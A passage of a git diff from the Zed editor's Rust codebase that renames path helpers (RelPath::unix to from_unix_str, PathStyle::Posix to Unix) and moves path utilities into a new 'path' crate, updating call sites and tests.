index 6229da6b8dc231..03583f86a248c0 100644
--- a/crates/extension/src/extension_builder.rs
+++ b/crates/extension/src/extension_builder.rs
@@ -11,6 +11,7 @@ use futures::{
 use heck::ToSnakeCase;
 use http_client::{self, AsyncBody, HttpClient};
 use language::LanguageConfig;
+use path::PathExt;
 use semver::Version;
 use serde::Deserialize;
 use std::{
@@ -20,7 +21,7 @@ use std::{
     path::{Path, PathBuf},
     sync::Arc,
 };
-use util::{ResultExt, command::Stdio, rel_path::PathExt};
+use util::{ResultExt, command::Stdio};
 use wasm_encoder::{ComponentSectionId, Encode as _, RawSection, Section as _};
 use wasmparser::Parser;
 
diff --git a/crates/extension/src/extension_manifest.rs b/crates/extension/src/extension_manifest.rs
index 6e9207a2e9fbf0..5ec589d718376c 100644
--- a/crates/extension/src/extension_manifest.rs
+++ b/crates/extension/src/extension_manifest.rs
@@ -1,3 +1,4 @@
+use std::borrow::Cow;
 use std::ffi::OsStr;
 use std::fmt;
 use std::path::{Path, PathBuf};
@@ -11,7 +12,8 @@ use language::LanguageName;
 use lsp::LanguageServerName;
 use semver::Version;
 use serde::{Deserialize, Serialize};
-use util::rel_path::{PathExt, RelPathBuf};
+use util::paths::PathStyle;
+use util::rel_path::{RelPath, RelPathBuf};
 
 use crate::ExtensionCapability;
 
@@ -211,9 +213,12 @@ pub fn build_debug_adapter_schema_path(
 ) -> anyhow::Result<RelPathBuf> {
     match &meta.schema_path {
         Some(path) => Ok(path.clone()),
-        None => Path::new("debug_adapter_schemas")
-            .join(Path::new(adapter_name.as_ref()).with_extension("json"))
-            .to_rel_path_buf(),
+        None => RelPath::new(
+            &Path::new("debug_adapter_schemas")
+                .join(Path::new(adapter_name.as_ref()).with_extension("json")),
+            PathStyle::local(),
+        )
+        .map(Cow::into_owned),
     }
 }
 
diff --git a/crates/extension_host/src/extension_host.rs b/crates/extension_host/src/extension_host.rs
index 676577cbd0cbe2..9ebdef8cf29073 100644
--- a/crates/extension_host/src/extension_host.rs
+++ b/crates/extension_host/src/extension_host.rs
@@ -57,7 +57,7 @@ use std::{
 };
 use task::TaskTemplates;
 use url::Url;
-use util::{ResultExt, paths::RemotePathBuf, rel_path::PathExt};
+use util::{PathExt, ResultExt, paths::RemotePathBuf};
 use wasm_host::{
     WasmExtension, WasmHost,
     wit::{is_supported_wasm_api_version, wasm_api_version_range},
diff --git a/crates/extension_host/src/wasm_host/wit/since_v0_1_0.rs b/crates/extension_host/src/wasm_host/wit/since_v0_1_0.rs
index 288b31b2202c46..83ba2ad3dfd54d 100644
--- a/crates/extension_host/src/wasm_host/wit/since_v0_1_0.rs
+++ b/crates/extension_host/src/wasm_host/wit/since_v0_1_0.rs
@@ -432,7 +432,7 @@ impl ExtensionImports for WasmState {
         self.on_main_thread(|cx| {
             async move {
                 let path = location.as_ref().and_then(|location| {
-                    RelPath::new(Path::new(&location.path), PathStyle::Posix).ok()
+                    RelPath::new(Path::new(&location.path), PathStyle::Unix).ok()
                 });
                 let location = path
                     .as_ref()
diff --git a/crates/extension_host/src/wasm_host/wit/since_v0_8_0.rs b/crates/extension_host/src/wasm_host/wit/since_v0_8_0.rs
index 25cd0c2d368274..29971f00da5cee 100644
--- a/crates/extension_host/src/wasm_host/wit/since_v0_8_0.rs
+++ b/crates/extension_host/src/wasm_host/wit/since_v0_8_0.rs
@@ -595,7 +595,7 @@ impl HostWorktree for WasmState {
     ) -> wasmtime::Result<Result<String, String>> {
         let delegate = self.table.get(&delegate)?;
         Ok(delegate
-            .read_text_file(&RelPath::new(Path::new(&path), PathStyle::Posix)?)
+            .read_text_file(&RelPath::new(Path::new(&path), PathStyle::Unix)?)
             .await
             .map_err(|error| error.to_string()))
     }
@@ -948,7 +948,7 @@ impl ExtensionImports for WasmState {
         self.on_main_thread(|cx| {
             async move {
                 let path = location.as_ref().and_then(|location| {
-                    RelPath::new(Path::new(&location.path), PathStyle::Posix).ok()
+                    RelPath::new(Path::new(&location.path), PathStyle::Unix).ok()
                 });
                 let location = path
                     .as_ref()
diff --git a/crates/file_finder/src/file_finder.rs b/crates/file_finder/src/file_finder.rs
index 71c1d03efd29fc..daf7b938e4ba6c 100644
--- a/crates/file_finder/src/file_finder.rs
+++ b/crates/file_finder/src/file_finder.rs
@@ -1272,7 +1272,11 @@ impl FileFinderDelegate {
                         let full_path = if should_hide_root_in_entry_path(&worktree_store, cx) {
                             entry_path.project.path.clone()
                         } else {
-                            worktree.read(cx).root_name().join(&entry_path.project.path)
+                            worktree
+                                .read(cx)
+                                .root_name()
+                                .join(&entry_path.project.path)
+                                .into()
                         };
                         let mut components = full_path.components();
                         let filename = components.next_back().unwrap_or("");
@@ -1841,7 +1845,7 @@ impl PickerDelegate for FileFinderDelegate {
                     .all(|worktree| {
                         worktree
                             .read(cx)
-                            .entry_for_path(RelPath::unix(prefix.split_at(1).0).unwrap())
+                            .entry_for_path(RelPath::from_unix_str(prefix.split_at(1).0).unwrap())
                             .is_none_or(|entry| !entry.is_dir())
                     })
                 {
diff --git a/crates/file_finder/src/file_finder_tests.rs b/crates/file_finder/src/file_finder_tests.rs
index 9dfdf6c08c1fd1..e83d7db791f903 100644
--- a/crates/file_finder/src/file_finder_tests.rs
+++ b/crates/file_finder/src/file_finder_tests.rs
@@ -4584,7 +4584,7 @@ fn collect_search_matches(picker: &Picker<FileFinderDelegate>) -> SearchEntries
                 if let Some(path_match) = path_match.as_ref() {
                     search_entries
                         .history
-                        .push(path_match.0.path_prefix.join(&path_match.0.path));
+                        .push(path_match.0.path_prefix.join(&path_match.0.path).into());
                 } else {
                     // This occurs when the query is empty and we show history matches
                     // that are outside the project.
@@ -4597,7 +4597,7 @@ fn collect_search_matches(picker: &Picker<FileFinderDelegate>) -> SearchEntries
             Match::Search(path_match) => {
                 search_entries
                     .search
-                    .push(path_match.0.path_prefix.join(&path_match.0.path));
+                    .push(path_match.0.path_prefix.join(&path_match.0.path).into());
                 search_entries.search_matches.push(path_match.0.clone());
             }
             Match::CreateNew(_) => {}
diff --git a/crates/fs/Cargo.toml b/crates/fs/Cargo.toml
index 2d8ee40ab26c2c..37588bb0eeded4 100644
--- a/crates/fs/Cargo.toml
+++ b/crates/fs/Cargo.toml
@@ -42,6 +42,7 @@ tempfile.workspace = true
 text.workspace = true
 time.workspace = true
 util.workspace = true
+path.workspace = true
 is_executable = "1.0.5"
 notify = "9.0.0-rc.4"
 trash = { git = "https://github.com/zed-industries/trash-rs", rev = "47761739192828a66b11a94ba5420b82d63c03c5" }
diff --git a/crates/fs/src/fs.rs b/crates/fs/src/fs.rs
index ec6e0554b9ad43..afbfaebaedf0ba 100644
--- a/crates/fs/src/fs.rs
+++ b/crates/fs/src/fs.rs
@@ -61,7 +61,7 @@ use git::{
     status::{FileStatus, StatusCode, TrackedStatus, UnmergedStatus},
 };
 #[cfg(feature = "test-support")]
-use util::normalize_path;
+use path::normalize_path;
 
 #[cfg(feature = "test-support")]
 use smol::io::AsyncReadExt;
diff --git a/crates/fuzzy_nucleo/benches/match_benchmark.rs b/crates/fuzzy_nucleo/benches/match_benchmark.rs
index 8f6eedce491613..ec1607a2bd6c4f 100644
--- a/crates/fuzzy_nucleo/benches/match_benchmark.rs
+++ b/crates/fuzzy_nucleo/benches/match_benchmark.rs
@@ -233,7 +233,11 @@ fn generate_nucleo_path_candidates(
     paths
         .iter()
         .map(|path| {
-            fuzzy_nucleo::PathMatchCandidate::new(RelPath::unix(path).unwrap(), false, None)
+            fuzzy_nucleo::PathMatchCandidate::new(
+                RelPath::from_unix_str(path).unwrap(),
+                false,
+                None,
+            )
         })
         .collect()
 }
@@ -245,7 +249,7 @@ fn generate_fuzzy_path_candidates(
         .iter()
         .map(|path| fuzzy::PathMatchCandidate {
             is_dir: false,
-            path: RelPath::unix(path).unwrap(),
+            path: RelPath::from_unix_str(path).unwrap(),
             char_bag: CharBag::from(path.as_str()),
         })
         .collect()
@@ -302,7 +306,7 @@ fn bench_path_matching(criterion: &mut Criterion) {
                             query,
                             case,
                             size,
-                            PathStyle::Posix,
+                            PathStyle::Unix,
                         )
                     },
                     BatchSize::SmallInput,
@@ -325,7 +329,7 @@ fn bench_path_matching(criterion: &mut Criterion) {
                             query,
                             false,
                             size,
-                            PathStyle::Posix,
+                            PathStyle::Unix,
                         )
                     },
                     BatchSize::SmallInput,
diff --git a/crates/git/src/repository.rs b/crates/git/src/repository.rs
index 0ff60eade2c403..2f378f4adac366 100644
--- a/crates/git/src/repository.rs
+++ b/crates/git/src/repository.rs
@@ -1517,7 +1517,7 @@ impl GitRepository for RealGitRepository {
                 let change = change?;
                 let path = change.path;
                 // git-show outputs `/`-delimited paths even on Windows.
-                let Some(rel_path) = RelPath::unix(path).log_err() else {
+                let Some(rel_path) = RelPath::from_unix_str(path).log_err() else {
                     continue;
                 };
 
@@ -3803,7 +3803,7 @@ impl std::fmt::Debug for RepoPath {
 
 impl RepoPath {
     pub fn new<S: AsRef<str> + ?Sized>(s: &S) -> Result<Self> {
-        let rel_path = RelPath::unix(s.as_ref())?;
+        let rel_path = RelPath::from_unix_str(s.as_ref())?;
         Ok(Self::from_rel_path(rel_path))
     }
 
@@ -3813,7 +3813,7 @@ impl RepoPath {
     }
 
     pub fn from_proto(proto: &str) -> Result<Self> {
-        let rel_path = RelPath::from_proto(proto)?;
+        let rel_path = RelPath::from_unix_str(proto)?.into();
         Ok(Self(rel_path))
     }
 
@@ -3832,7 +3832,7 @@ impl RepoPath {
 
 #[cfg(any(test, feature = "test-support"))]
 pub fn repo_path<S: AsRef<str> + ?Sized>(s: &S) -> RepoPath {
-    RepoPath(RelPath::unix(s.as_ref()).unwrap().into())
+    RepoPath(RelPath::from_unix_str(s.as_ref()).unwrap().into())
 }
 
 impl AsRef<Arc<RelPath>> for RepoPath {
diff --git a/crates/git/src/status.rs b/crates/git/src/status.rs
index de1a0c54097738..1a04d02e75344b 100644
--- a/crates/git/src/status.rs
+++ b/crates/git/src/status.rs
@@ -454,7 +454,7 @@ impl FromStr for GitStatus {
                 let status = entry.as_bytes()[0..2].try_into().unwrap();
                 let status = FileStatus::from_bytes(status).log_err()?;
                 // git-status outputs `/`-delimited repo paths, even on Windows.
-                let path = RepoPath::from_rel_path(RelPath::unix(path).log_err()?);
+                let path = RepoPath::from_rel_path(RelPath::from_unix_str(path).log_err()?);
                 Some((path, status))
             })
             .collect::<Vec<_>>();
@@ -544,7 +544,7 @@ impl FromStr for TreeDiff {
         let mut fields = s.split('\0');
         let mut parsed = HashMap::default();
         while let Some((status, path)) = fields.next().zip(fields.next()) {
-            let path = RepoPath::from_rel_path(RelPath::unix(path)?);
+            let path = RepoPath::from_rel_path(RelPath::from_unix_str(path)?);
 
             let mut fields = status.split(" ").skip(2);
             let old_sha = fields
diff --git a/crates/git_ui/src/diff_multibuffer.rs b/crates/git_ui/src/diff_multibuffer.rs
index 7c548952d7b86f..b20ed284035bef 100644
--- a/crates/git_ui/src/diff_multibuffer.rs
+++ b/crates/git_ui/src/diff_multibuffer.rs
@@ -1007,7 +1007,7 @@ fn name_sort_path(repo_path: &RelPath) -> Arc<RelPath> {
         return repo_path.into_arc();
     };
     let synthetic = format!("{}/{}", file_name, repo_path.as_unix_str());
-    RelPath::unix(&synthetic)
+    RelPath::from_unix_str(&synthetic)
         .map(|path| path.into_arc())
         .unwrap_or_else(|_| repo_path.into_arc())
 }
@@ -1032,7 +1032,7 @@ fn tree_sort_path(repo_path: &RelPath) -> Arc<RelPath> {
         }
         synthetic.push_str(component);
     }
-    RelPath::unix(&synthetic)
+    RelPath::from_unix_str(&synthetic)
         .map(|path| path.into_arc())
         .unwrap_or_else(|_| repo_path.into_arc())
 }
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 8a5f1202803230..e1c7d0e830eebb 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -3232,7 +3232,7 @@ impl GitPanel {
 
                 let worktree_snapshot = worktree.read(cx).snapshot();
                 for rules_name in RULES_FILE_NAMES {
-                    if let Ok(rel_path) = RelPath::unix(rules_name) {
+                    if let Ok(rel_path) = RelPath::from_unix_str(rules_name) {
                         if let Some(entry) = worktree_snapshot.entry_for_path(rel_path) {
                             if entry.is_file() {
                                 return Some(ProjectPath {
@@ -11485,7 +11485,7 @@ mod tests {
             cx.read(|cx| project.read(cx).worktrees(cx).next().unwrap().read(cx).id());
         let project_path = ProjectPath {
             worktree_id,
-            path: RelPath::unix("src/a/foo.rs").unwrap().into_arc(),
+            path: RelPath::from_unix_str("src/a/foo.rs").unwrap().into_arc(),
         };
 
         panel.update_in(cx, |panel, window, cx| {
diff --git a/crates/git_ui/src/multi_diff_view.rs b/crates/git_ui/src/multi_diff_view.rs
index 47bf5a2b727a44..7834a7319fb777 100644
--- a/crates/git_ui/src/multi_diff_view.rs
+++ b/crates/git_ui/src/multi_diff_view.rs
@@ -94,7 +94,7 @@ fn register_entry(
             RelPath::new(rel, PathStyle::local())
                 .map(|r| r.into_owned().into())
                 .unwrap_or_else(|_| {
-                    RelPath::new(Path::new(MultiBuffer::DEFAULT_TITLE), PathStyle::Posix)
+                    RelPath::new(Path::new(MultiBuffer::DEFAULT_TITLE), PathStyle::Unix)
                         .unwrap()
                         .into_owned()
                         .into()
@@ -105,10 +105,10 @@ fn register_entry(
                 .new_path
                 .file_name()
                 .and_then(|n| n.to_str())
-                .and_then(|s| RelPath::new(Path::new(s), PathStyle::Posix).ok())
+                .and_then(|s| RelPath::new(Path::new(s), PathStyle::Unix).ok())
                 .map(|r| r.into_owned().into())
                 .unwrap_or_else(|| {
-                    RelPath::new(Path::new(MultiBuffer::DEFAULT_TITLE), PathStyle::Posix)
+                    RelPath::new(Path::new(MultiBuffer::DEFAULT_TITLE), PathStyle::Unix)
                         .unwrap()
                         .into_owned()
                         .into()
diff --git a/crates/image_viewer/src/image_viewer.rs b/crates/image_viewer/src/image_viewer.rs
index d881bcc2561fa6..3dc434deb74f5b 100644
--- a/crates/image_viewer/src/image_viewer.rs
+++ b/crates/image_viewer/src/image_viewer.rs
@@ -586,7 +586,7 @@ impl Item for ImageView {
 }
 
 fn breadcrumbs_text_for_image(project: &Project, image: &ImageItem, cx: &App) -> String {
-    let mut path = image.file.path().clone();
+    let mut path = image.file.path().to_rel_path_buf();
     if project.visible_worktrees(cx).count() > 1
         && let Some(worktree) = project.worktree_for_id(image.project_path(cx).worktree_id, cx)
     {
diff --git a/crates/language/src/language.rs b/crates/language/src/language.rs
index 4c57001cd69c60..b9f87265c0cbbe 100644
--- a/crates/language/src/language.rs
+++ b/crates/language/src/language.rs
@@ -50,8 +50,8 @@ pub use language_core::{
     LanguageId, LanguageMatcher, OrderedListConfig, OutlineConfig, Override, OverrideConfig,
     OverrideEntry, PromptResponseContext, RedactionConfig, RunnableCapture, RunnableConfig,
     SoftWrap, Symbol, TaskListConfig, TextObject, TextObjectConfig, ToLspPosition,
-    WrapCharactersConfig, auto_indent_using_last_non_empty_line_default, deserialize_regex,
-    deserialize_regex_vec, regex_json_schema, regex_vec_json_schema, serialize_regex,
+    WrapCharactersConfig, default_true, deserialize_regex, deserialize_regex_vec,
+    regex_json_schema, regex_vec_json_schema, serialize_regex,
 };
 pub use language_registry::{
     LanguageName, LanguageServerStatusUpdate, LoadedLanguage, ServerHealth,
diff --git a/crates/language_core/Cargo.toml b/crates/language_core/Cargo.toml
index 91dca562a80670..47a30d8316cdec 100644
--- a/crates/language_core/Cargo.toml
+++ b/crates/language_core/Cargo.toml
@@ -11,17 +11,17 @@ path = "src/language_core.rs"
 anyhow.workspace = true
 collections.workspace = true
 gpui_shared_string.workspace = true
+gpui_util.workspace = true
 log.workspace = true
+lsp-types.workspace = true
 parking_lot.workspace = true
+path.workspace = true
 regex.workspace = true
 schemars.workspace = true
 serde.workspace = true
 serde_json.workspace = true
 toml.workspace = true
 tree-sitter.workspace = true
-util.workspace = true
-gpui_util.workspace = true
-lsp-types.workspace = true
 
 [features]
 test-support = []
diff --git a/crates/language_core/src/language_config.rs b/crates/language_core/src/language_config.rs
index 51903aef76a1f4..5eea2d123b1585 100644
--- a/crates/language_core/src/language_config.rs
+++ b/crates/language_core/src/language_config.rs
@@ -5,7 +5,6 @@ use regex::Regex;
 use schemars::{JsonSchema, SchemaGenerator, json_schema};
 use serde::{Deserialize, Deserializer, Serialize, Serializer, de};
 use std::{num::NonZeroU32, path::Path, sync::Arc};
-use util::serde::default_true;
 
 /// Controls the soft-wrapping behavior in the editor.
 #[derive(Copy, Clone, Debug, Serialize, Deserialize, PartialEq, Eq, JsonSchema)]
@@ -46,7 +45,7 @@ pub struct LanguageConfig {
     pub brackets: BracketPairConfig,
     /// If set to true, auto indentation uses last non empty line to determine
     /// the indentation level for a new line.
-    #[serde(default = "auto_indent_using_last_non_empty_line_default")]
+    #[serde(default = "default_true")]
     pub auto_indent_using_last_non_empty_line: bool,
     // Whether indentation of pasted content should be adjusted based on the context.
     #[serde(default)]
@@ -166,7 +165,7 @@ impl Default for LanguageConfig {
             grammar: None,
             matcher: LanguageMatcher::default(),
             brackets: Default::default(),
-            auto_indent_using_last_non_empty_line: auto_indent_using_last_non_empty_line_default(),
+            auto_indent_using_last_non_empty_line: default_true(),
             auto_indent_on_paste: None,
             increase_indent_pattern: Default::default(),
             decrease_indent_pattern: Default::default(),
@@ -480,7 +479,7 @@ pub struct WrapCharactersConfig {
     pub end_suffix: String,
 }
 
-pub fn auto_indent_using_last_non_empty_line_default() -> bool {
+pub fn default_true() -> bool {
     true
 }
 
diff --git a/crates/language_core/src/language_core.rs b/crates/language_core/src/language_core.rs
index f3292e1978d976..8a45bd57a25cb7 100644
--- a/crates/language_core/src/language_core.rs
+++ b/crates/language_core/src/language_core.rs
@@ -17,9 +17,9 @@ pub use highlight_map::{HighlightId, HighlightMap};
 pub use language_config::{
     BlockCommentConfig, BracketPair, BracketPairConfig, BracketPairContent, DecreaseIndentConfig,
     JsxTagAutoCloseConfig, LanguageConfig, LanguageConfigOverride, LanguageMatcher,
-    OrderedListConfig, Override, SoftWrap, TaskListConfig, WrapCharactersConfig,
-    auto_indent_using_last_non_empty_line_default, deserialize_regex, deserialize_regex_vec,
-    regex_json_schema, regex_vec_json_schema, serialize_regex,
+    OrderedListConfig, Override, SoftWrap, TaskListConfig, WrapCharactersConfig, default_true,
+    deserialize_regex, deserialize_regex_vec, regex_json_schema, regex_vec_json_schema,
+    serialize_regex,
 };
 
 pub mod code_label;
diff --git a/crates/language_core/src/toolchain.rs b/crates/language_core/src/toolchain.rs
index 78bd69917fbc0f..f5b09190975d87 100644
--- a/crates/language_core/src/toolchain.rs
+++ b/crates/language_core/src/toolchain.rs
@@ -7,7 +7,7 @@
 use std::{path::Path, sync::Arc};
 
 use gpui_shared_string::SharedString;
-use util::rel_path::RelPath;
+use path::rel_path::RelPath;
 
 use crate::{LanguageName, ManifestName};
 
diff --git a/crates/languages/src/eslint.rs b/crates/languages/src/eslint.rs
index 2d0c88bd016b8a..a876f392b9f366 100644
--- a/crates/languages/src/eslint.rs
+++ b/crates/languages/src/eslint.rs
@@ -286,7 +286,7 @@ impl LspAdapter for EsLintLspAdapter {
         let file_path = requested_file_path
             .as_ref()
             .and_then(|abs_path| abs_path.strip_prefix(worktree_root).ok())
-            .and_then(|p| RelPath::unix(&p).ok().map(ToOwned::to_owned))
+            .and_then(|p| RelPath::from_unix_str(&p).ok().map(ToOwned::to_owned))
             .unwrap_or_else(|| RelPath::empty().to_owned());
         let override_options = cx.update(|cx| {
             language_server_settings_for(
diff --git a/crates/languages/src/json.rs b/crates/languages/src/json.rs
index b97429c685b839..ff955fe0869261 100644
--- a/crates/languages/src/json.rs
+++ b/crates/languages/src/json.rs
@@ -52,8 +52,12 @@ impl ContextProvider for JsonTaskProvider {
         let Some(file) = project::File::from_dyn(file).cloned() else {
             return Task::ready(None);
         };
-        let is_package_json = file.path.ends_with(RelPath::unix("package.json").unwrap());
-        let is_composer_json = file.path.ends_with(RelPath::unix("composer.json").unwrap());
+        let is_package_json = file
+            .path
+            .ends_with(RelPath::from_unix_str("package.json").unwrap());
+        let is_composer_json = file
+            .path
+            .ends_with(RelPath::from_unix_str("composer.json").unwrap());
         if !is_package_json && !is_composer_json {
             return Task::ready(None);
         }
diff --git a/crates/languages/src/python.rs b/crates/languages/src/python.rs
index 7159379aed62a2..becefed29efb30 100644
--- a/crates/languages/src/python.rs
+++ b/crates/languages/src/python.rs
@@ -90,14 +90,14 @@ impl ManifestProvider for PyprojectTomlManifestProvider {
         let mut outermost_workspace_root = None;
 
         for path in path.ancestors().take(depth) {
-            let pyproject_path = path.join(RelPath::unix("pyproject.toml").unwrap());
+            let pyproject_path = path.join(RelPath::from_unix_str("pyproject.toml").unwrap());
             if delegate.exists(&pyproject_path, Some(false)) {
                 if innermost_pyproject.is_none() {
                     innermost_pyproject = Some(Arc::from(path));
                 }
 
                 let has_lockfile = WORKSPACE_LOCKFILES.iter().any(|lockfile| {
-                    let lockfile_path = path.join(RelPath::unix(lockfile).unwrap());
+                    let lockfile_path = path.join(RelPath::from_unix_str(lockfile).unwrap());
                     delegate.exists(&lockfile_path, Some(false))
                 });
                 if has_lockfile {
@@ -1114,7 +1114,7 @@ impl PythonContextProvider {
 
 fn python_module_name_from_relative_path(relative_path: &str) -> Option<String> {
     let rel_path = RelPath::new(relative_path.as_ref(), PathStyle::local()).ok()?;
-    let path_with_dots = rel_path.display(PathStyle::Posix).replace('/', ".");
+    let path_with_dots = rel_path.display(PathStyle::Unix).replace('/', ".");
     Some(
         path_with_dots
             .strip_suffix(".py")
@@ -3265,7 +3265,7 @@ mod tests {
             });
             let provider = PyprojectTomlManifestProvider;
             provider.search(ManifestQuery {
-                path: RelPath::unix(query_path).unwrap().into(),
+                path: RelPath::from_unix_str(query_path).unwrap().into(),
                 depth: 10,
                 delegate,
             })
@@ -3274,7 +3274,7 @@ mod tests {
         #[test]
         fn test_simple_project_no_lockfile() {
             let result = search(&["project/pyproject.toml"], "project/src/main.py");
-            assert_eq!(result.as_deref(), RelPath::unix("project").ok());
+            assert_eq!(result.as_deref(), RelPath::from_unix_str("project").ok());
         }
 
         #[test]
@@ -3287,7 +3287,7 @@ mod tests {
                 ],
                 "packages/subproject/src/main.py",
             );
-            assert_eq!(result.as_deref(), RelPath::unix("").ok());
+            assert_eq!(result.as_deref(), RelPath::from_unix_str("").ok());
         }
 
         #[test]
@@ -3296,7 +3296,7 @@ mod tests {
                 &["pyproject.toml", "poetry.lock", "libs/mylib/pyproject.toml"],
                 "libs/mylib/src/main.py",
             );
-            assert_eq!(result.as_deref(), RelPath::unix("").ok());
+            assert_eq!(result.as_deref(), RelPath::from_unix_str("").ok());
         }
 
         #[test]
@@ -3309,7 +3309,7 @@ mod tests {
                 ],
                 "packages/mypackage/src/main.py",
             );
-            assert_eq!(result.as_deref(), RelPath::unix("").ok());
+            assert_eq!(result.as_deref(), RelPath::from_unix_str("").ok());
         }
 
         #[test]
@@ -3318,13 +3318,19 @@ mod tests {
                 &["project-a/pyproject.toml", "project-b/pyproject.toml"],
                 "project-a/src/main.py",
             );
-            assert_eq!(result_a.as_deref(), RelPath::unix("project-a").ok());
+            assert_eq!(
+                result_a.as_deref(),
+                RelPath::from_unix_str("project-a").ok()
+            );
 
             let result_b = search(
                 &["project-a/pyproject.toml", "project-b/pyproject.toml"],
                 "project-b/src/main.py",
             );
-            assert_eq!(result_b.as_deref(), RelPath::unix("project-b").ok());
+            assert_eq!(
+                result_b.as_deref(),
+                RelPath::from_unix_str("project-b").ok()
+            );
         }
 
         #[test]
@@ -3345,7 +3351,7 @@ mod tests {
                 ],
                 "packages/sub/src/main.py",
             );
-            assert_eq!(result.as_deref(), RelPath::unix("").ok());
+            assert_eq!(result.as_deref(), RelPath::from_unix_str("").ok());
         }
 
         #[test]
@@ -3360,11 +3366,16 @@ mod tests {
             //   "deep/nested/src/main.py", "deep/nested/src", and "deep/nested"
             // It won't reach "deep" or root ""
             let result = provider.search(ManifestQuery {
-                path: RelPath::unix("deep/nested/src/main.py").unwrap().into(),
+                path: RelPath::from_unix_str("deep/nested/src/main.py")
+                    .unwrap()
+                    .into(),
                 depth: 3,
                 delegate,
             });
-            assert_eq!(result.as_deref(), RelPath::unix("deep/nested").ok());
+            assert_eq!(
+                result.as_deref(),
+                RelPath::from_unix_str("deep/nested").ok()
+            );
         }
     }
 }
diff --git a/crates/languages/src/rust.rs b/crates/languages/src/rust.rs
index 52e9a902a07eeb..b34e92bbd93b0a 100644
--- a/crates/languages/src/rust.rs
+++ b/crates/languages/src/rust.rs
@@ -292,7 +292,7 @@ impl ManifestProvider for CargoManifestProvider {
     ) -> Option<Arc<RelPath>> {
         let mut outermost_cargo_toml = None;
         for path in path.ancestors().take(depth) {
-            let p = path.join(RelPath::unix("Cargo.toml").unwrap());
+            let p = path.join(RelPath::from_unix_str("Cargo.toml").unwrap());
             if delegate.exists(&p, Some(false)) {
                 outermost_cargo_toml = Some(Arc::from(path));
             }
diff --git a/crates/languages/src/typescript.rs b/crates/languages/src/typescript.rs
index e34a0b7dbf7dcb..a23b66021c1498 100644
--- a/crates/languages/src/typescript.rs
+++ b/crates/languages/src/typescript.rs
@@ -625,7 +625,9 @@ impl TypeScriptLspAdapter {
 
     async fn tsdk_path(&self, adapter: &Arc<dyn LspAdapterDelegate>) -> Option<&'static str> {
         let is_yarn = adapter
-            .read_text_file(RelPath::unix(".yarn/sdks/typescript/lib/typescript.js").unwrap())
+            .read_text_file(
+                RelPath::from_unix_str(".yarn/sdks/typescript/lib/typescript.js").unwrap(),
+            )
             .await
             .is_ok();
 
diff --git a/crates/multi_buffer/src/path_key.rs b/crates/multi_buffer/src/path_key.rs
index 18423a69608c0a..436cd5763d22d0 100644
--- a/crates/multi_buffer/src/path_key.rs
+++ b/crates/multi_buffer/src/path_key.rs
@@ -49,7 +49,7 @@ impl PathKey {
         } else {
             Self {
                 sort_prefix: None,
-                path: RelPath::unix(&buffer.entity_id().to_string())
+                path: RelPath::from_unix_str(&buffer.entity_id().to_string())
                     .unwrap()
                     .into_arc(),
             }
diff --git a/crates/open_path_prompt/src/open_path_prompt.rs b/crates/open_path_prompt/src/open_path_prompt.rs
index 6fc35e697c8cb4..5fa29d453acf0a 100644
--- a/crates/open_path_prompt/src/open_path_prompt.rs
+++ b/crates/open_path_prompt/src/open_path_prompt.rs
@@ -68,7 +68,7 @@ impl OpenPathDelegate {
             cancel_flag: Arc::new(AtomicBool::new(false)),
             should_dismiss: true,
             prompt_root: match path_style {
-                PathStyle::Posix => "/".to_string(),
+                PathStyle::Unix => "/".to_string(),
                 PathStyle::Windows => "C:\\".to_string(),
             },
             path_style,
@@ -158,7 +158,7 @@ impl OpenPathDelegate {
 
     fn current_dir(&self) -> &'static str {
         match self.path_style {
-            PathStyle::Posix => "./",
+            PathStyle::Unix => "./",
             PathStyle::Windows => ".\\",
         }
     }
@@ -929,7 +929,7 @@ fn path_candidates(
 
 fn get_dir_and_suffix(query: String, path_style: PathStyle) -> (String, String) {
     match path_style {
-        PathStyle::Posix => {
+        PathStyle::Unix => {
             let (mut dir, suffix) = if let Some(index) = query.rfind('/') {
                 (query[..index].to_string(), query[index + 1..].to_string())
             } else {
@@ -1028,39 +1028,39 @@ mod tests {
 
     #[test]
     fn test_get_dir_and_suffix_with_posix_style() {
-        let (dir, suffix) = get_dir_and_suffix("".into(), PathStyle::Posix);
+        let (dir, suffix) = get_dir_and_suffix("".into(), PathStyle::Unix);
         assert_eq!(dir, "/");
         assert_eq!(suffix, "");
 
-        let (dir, suffix) = get_dir_and_suffix("/".into(), PathStyle::Posix);
+        let (dir, suffix) = get_dir_and_suffix("/".into(), PathStyle::Unix);
         assert_eq!(dir, "/");
         assert_eq!(suffix, "");
 
-        let (dir, suffix) = get_dir_and_suffix("/Use".into(), PathStyle::Posix);
+        let (dir, suffix) = get_dir_and_suffix("/Use".into(), PathStyle::Unix);
         assert_eq!(dir, "/");
         assert_eq!(suffix, "Use");
 
-        let (dir, suffix) = get_dir_and_suffix("/Users/Junkui/Docum".into(), PathStyle::Posix);
+        let (dir, suffix) = get_dir_and_suffix("/Users/Junkui/Docum".into(), PathStyle::Unix);
         assert_eq!(dir, "/Users/Junkui/");
         assert_eq!(suffix, "Docum");
 
-        let (dir, suffix) = get_dir_and_suffix("/Users/Junkui/Documents".into(), PathStyle::Posix);
+        let (dir, suffix) = get_dir_and_suffix("/Users/Junkui/Documents".into(), PathStyle::Unix);
         assert_eq!(dir, "/Users/Junkui/");
         assert_eq!(suffix, "Documents");
 
-        let (dir, suffix) = get_dir_and_suffix("/Users/Junkui/Documents/".into(), PathStyle::Posix);
+        let (dir, suffix) = get_dir_and_suffix("/Users/Junkui/Documents/".into(), PathStyle::Unix);
         assert_eq!(dir, "/Users/Junkui/Documents/");
         assert_eq!(suffix, "");
 
-        let (dir, suffix) = get_dir_and_suffix("/root/.".into(), PathStyle::Posix);
+        let (dir, suffix) = get_dir_and_suffix("/root/.".into(), PathStyle::Unix);
         assert_eq!(dir, "/root/");
         assert_eq!(suffix, ".");
 
-        let (dir, suffix) = get_dir_and_suffix("/root/..".into(), PathStyle::Posix);
+        let (dir, suffix) = get_dir_and_suffix("/root/..".into(), PathStyle::Unix);
         assert_eq!(dir, "/root/");
         assert_eq!(suffix, "..");
 
-        let (dir, suffix) = get_dir_and_suffix("/root/.hidden".into(), PathStyle::Posix);
+        let (dir, suffix) = get_dir_and_suffix("/root/.hidden".into(), PathStyle::Unix);
         assert_eq!(dir, "/root/");
         assert_eq!(suffix, ".hidden");
     }
diff --git a/crates/path/Cargo.toml b/crates/path/Cargo.toml
new file mode 100644
index 00000000000000..73136332b0da95
